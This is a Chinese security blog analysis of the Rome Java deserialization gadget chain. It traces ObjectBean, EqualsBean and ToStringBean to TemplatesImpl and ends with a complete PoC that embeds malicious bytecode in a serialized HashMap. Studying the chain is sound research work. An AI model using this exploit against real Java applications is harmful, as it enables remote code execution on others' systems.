Rome反序列化链分析

0x00前置知识

ObjectBean

com.sun.syndication.feed.impl.ObjectBeanRome提供的一个封装类型,初始化时可以对一个Class和一个Object对象进行封装。

ObjectBean有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equalstoStringclone 以及 hashCode 方法。

image-20221104153248687
image-20221104153448029

这里来看一下ObjectBeanhashCode(),它会去调用EqualsBeanbeanHashCode()

public int hashCode() {
    return _equalsBean.beanHashCode();
}

跟进看一下beanHashCode()

public int beanHashCode() {
    return _obj.toString().hashCode();
}

这里会调用_objtoString()方法,而这个_obj是来自于EqualsBean中的,是可控的,这也就是触发利用链的地方。

image-20221104154745747

ToStringBean

com.sun.syndication.feed.impl.ToStringBean 这个类提供了toString(),一共有两个toString()方法,第一个是无参的方法获取传入的obj对象的类名,并且传入第二个toString()方法

public String toString() {
    Stack stack = (Stack) PREFIX_TL.get();
    String[] tsInfo = (String[]) ((stack.isEmpty()) ? null : stack.peek());
    String prefix;
    if (tsInfo==null) {
        String className = _obj.getClass().getName();
        prefix = className.substring(className.lastIndexOf(".")+1);
    }
    else {
        prefix = tsInfo[0];
        tsInfo[1] = prefix;
    }
    return toString(prefix);
}
private String toString(String prefix) {
    StringBuffer sb = new StringBuffer(128);
    try {
        PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
        if (pds!=null) {
            for (int i=0;i<pds.length;i++) {
                String pName = pds[i].getName();
                Method pReadMethod = pds[i].getReadMethod();
                if (pReadMethod!=null &&                             // ensure it has a getter method
                    pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
                    pReadMethod.getParameterTypes().length==0) {     // filter getter methods that take parameters
                    Object value = pReadMethod.invoke(_obj,NO_PARAMS);
                    printProperty(sb,prefix+"."+pName,value);
                }
            }
        }
    }
    catch (Exception ex) {
        sb.append("\n\nEXCEPTION: Could not complete "+_obj.getClass()+".toString(): "+ex.getMessage()+"\n");
    }
    return sb.toString();
}

这里调用BeanIntrospector.getPropertyDescriptors() 来获取 _beanClass 的全部 getter/setter 方法。

private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
    Method[] methods = klass.getMethods();
    Map getters = getPDs(methods,false);
    Map setters = getPDs(methods,true);
    List pds     = merge(getters,setters);
    PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
    pds.toArray(array);
    return array;
}

然后调用其中的无参方法,可以用来触发TemplatesImpl 的利用链

image-20221104160631589

0x01攻击构造

首先,生成恶意的TemplatesImpl类

byte[] evilCode = SerializeUtil.getEvilCode();
TemplatesImpl templates = new TemplatesImpl();
SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{evilCode});
SerializeUtil.setFieldValue(templates, "_name", "le1a");
SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

然后把恶意的TemplatesImpl类封装到ToStringBean中,使得最后可以调用ToStringBean#toString()的时候,可以触发getter()方法。

ToStringBean toStringBean = new ToStringBean(Templates.class, templates);

然后把封装好的ToStringBean对象封装到EqualsBean中,使得调用EqualsBean#beanHashCode()的时候,调用的是ToStringBean#toString()

image-20221104161425307
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

然后实例化一个ObjectBean,先装入无害的1,防止序列化的时候就触发恶意代码

ObjectBean objectBean = new ObjectBean(String.class, "le1a");

HashMap<ObjectBean, Integer> evilMap = new HashMap<ObjectBean, Integer>();
evilMap.put(objectBean, 1);
evilMap.put(objectBean, 1);

然后再通过反射修改ObjectBean中的EqualsBean变量的值为我们构造的恶意EqualsBean对象

SerializeUtil.setFieldValue(objectBean, "_equalsBean", equalsBean);

完整Poc:

package com.le1a.rome;

import com.le1a.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.util.HashMap;

public class Rome {
    public static void main(String[] args) throws Exception {
        // 生成包含恶意类字节码的 TemplatesImpl 类
        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates, "_bytecodes", new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates, "_name", "le1a");
        SerializeUtil.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 使用 TemplatesImpl 初始化被包装类,使其 ToStringBean 也使用 TemplatesImpl 初始化
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

        ObjectBean objectBean = new ObjectBean(String.class, "le1a");


        HashMap<ObjectBean, Integer> evilMap = new HashMap<ObjectBean, Integer>();
        evilMap.put(objectBean, 1);
        evilMap.put(objectBean, 1);

        SerializeUtil.setFieldValue(objectBean, "_equalsBean", equalsBean);


        byte[] bytes = SerializeUtil.serialize(evilMap);
        SerializeUtil.unserialize(bytes);
    }
}

0x02总结

  1. 大概流程:

    • 利用HashMap反序列化触发ObjectBeanhashCode()方法,然后触发_equalsBean.beanHashCode(),再触发EqualsBean封装的ToStringBeantoString()方法
  2. Gadget:

    • kick-off gadget:java.util.HashMap#readObject()
    • sink gadget:com.sun.syndication.feed.impl.ToStringBean#toString()
    • chain gadget:com.sun.syndication.feed.impl.ObjectBean#toString()
  3. 调用链:

    HashMap.readObject()
        ObjectBean.hashCode()
                EqualsBean.beanHashCode()
                        ToStringBean.toString()
                            TemplatesImpl.getOutputProperties()
    
    image-20221104164201796

    0x03参考

    feng

    su18